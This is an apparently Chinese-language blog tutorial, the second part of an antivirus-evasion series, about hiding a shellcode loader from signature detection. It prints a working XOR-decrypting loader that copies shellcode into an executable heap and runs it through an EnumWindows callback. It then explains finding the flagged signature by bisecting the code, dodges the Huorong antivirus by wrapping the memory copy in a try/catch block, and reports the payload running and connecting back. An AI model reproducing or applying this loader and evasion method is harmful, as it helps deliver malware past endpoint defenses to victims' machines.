Contents

[从零开始的免杀生活]02.逃出生天

0x00.序

上篇说到 如何编写一个基础的加密shellcode Loader ,但是当当一个基础的加密的loader是无法绕过强大的杀毒特征库的,这篇我们来讲讲特征码 的查找与如何对特征码进行混淆

0x01.回顾

将上篇提到的代码写入VS中编译出来 一复制到虚拟机环境中就被火绒报毒了

上篇代码

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
    unsigned char encShellcode[] = { /*ShellCode Padding*/ };
    
    int xorNum = 5;
    
    int PAGE_SIZE = 4096;
    
    int scLen = sizeof(encShellcode);
    for (size_t i = 0; i < scLen; i++) {
        encShellcode[i] ^= xorNum;
    
    }
    HANDLE heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 10 * PAGE_SIZE, 100 * PAGE_SIZE);
    
    LPVOID scAddr = HeapAlloc(heap, HEAP_ZERO_MEMORY, scLen);
    
    RtlMoveMemory(scAddr, encShellcode, scLen);
    
    EnumWindows((WNDENUMPROC)scAddr, NULL);

将上篇提到的代码写入VS中编译出来 一复制到虚拟机环境中就被火绒报毒了

https://ooo.0x0.ooo/2023/09/09/OnrdjD.jpg

那么肯定是其中的某个地方被标记为特征码了,我们只需要找出来并进行修改就可以绕过杀毒的拦截。 那么,怎么找到特征码呢。

MyCCL

该款工具也是历史的眼泪了,在10年的时候这款工具在各个已经被Ban的 “免杀” 论坛 流行着,该工具利用了杀毒对单一特征码的检测,对PE文件进行分块处理,我们只需要将分块的文件查杀,然后找到被杀毒杀的那一个区块然后再进行定位就行。

二分查找

该方法适用于代码少的情况下,注释一半一半的的代码然后进行编译,编译后进行查杀,如果这一半没被查杀就对另外一半进行同样的步骤

当然以上方法都是在 代码段 (.text) 进行的,如果杀软是对资源段进行了"启发式"扫描 则就算只有一个空的main函数还是会造成报毒 (某60) ,当然是有办法解决的。

0x02.实践

基于以上的方法,在这笔者选择使用 二分查找 相对于第一个历史遗留的方法,二分查找 更适合 现代的内存加载ShellCode

首先注释掉所有的代码 来判断 代码段(.text) 内是否有特征码

https://ooo.0x0.ooo/2023/09/09/OnrVWF.jpg

编译 查杀

https://ooo.0x0.ooo/2023/09/09/OnrYy6.jpg

发现未找到病毒(果然火绒不像360的启发式一样杀资源XD)

然后继续 进行二分注释,注释掉下面一部分

https://ooo.0x0.ooo/2023/09/09/OnrfsP.jpg

然后再进行编译查杀,后续就是重复以上步骤了

最终我们发现注释掉RtlMoveMemory(scAddr, encShellcode, scLen); 这个函数时就不杀了 说明这个函数即为特征码 我们可以将其用其他函数进行代替,也可以利用添加花指令,或者是添加SEH异常。

这里笔者以Seh异常进行修改,如果不懂SEH异常也没关系

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
    try
    {
        if (1 + 1 == 2)
        {
            std::exception a;
            throw  a;
        }
    }
    catch (const std::exception&){
    RtlMoveMemory(scAddr, encShellcode, scLen);
    }

这样处理后再进行编译 查杀

https://ooo.0x0.ooo/2023/09/09/Onr9ob.jpg

完美处理掉特征

双击运行测试 https://ooo.0x0.ooo/2023/09/09/Onrjel.jpg

成功上线 https://ooo.0x0.ooo/2023/09/09/Onr2Gg.jpg

0x03.总结

以特征码的形式进行的查杀可以很快的封锁掉已知的病毒,但只要稍做修改就能轻松绕过,不过这也是对抗的一环,现在的家用杀软以及EDR不局限于传统的特征码查杀,还有基于AI的启发式查杀,能够快速的定位以及感知到威胁。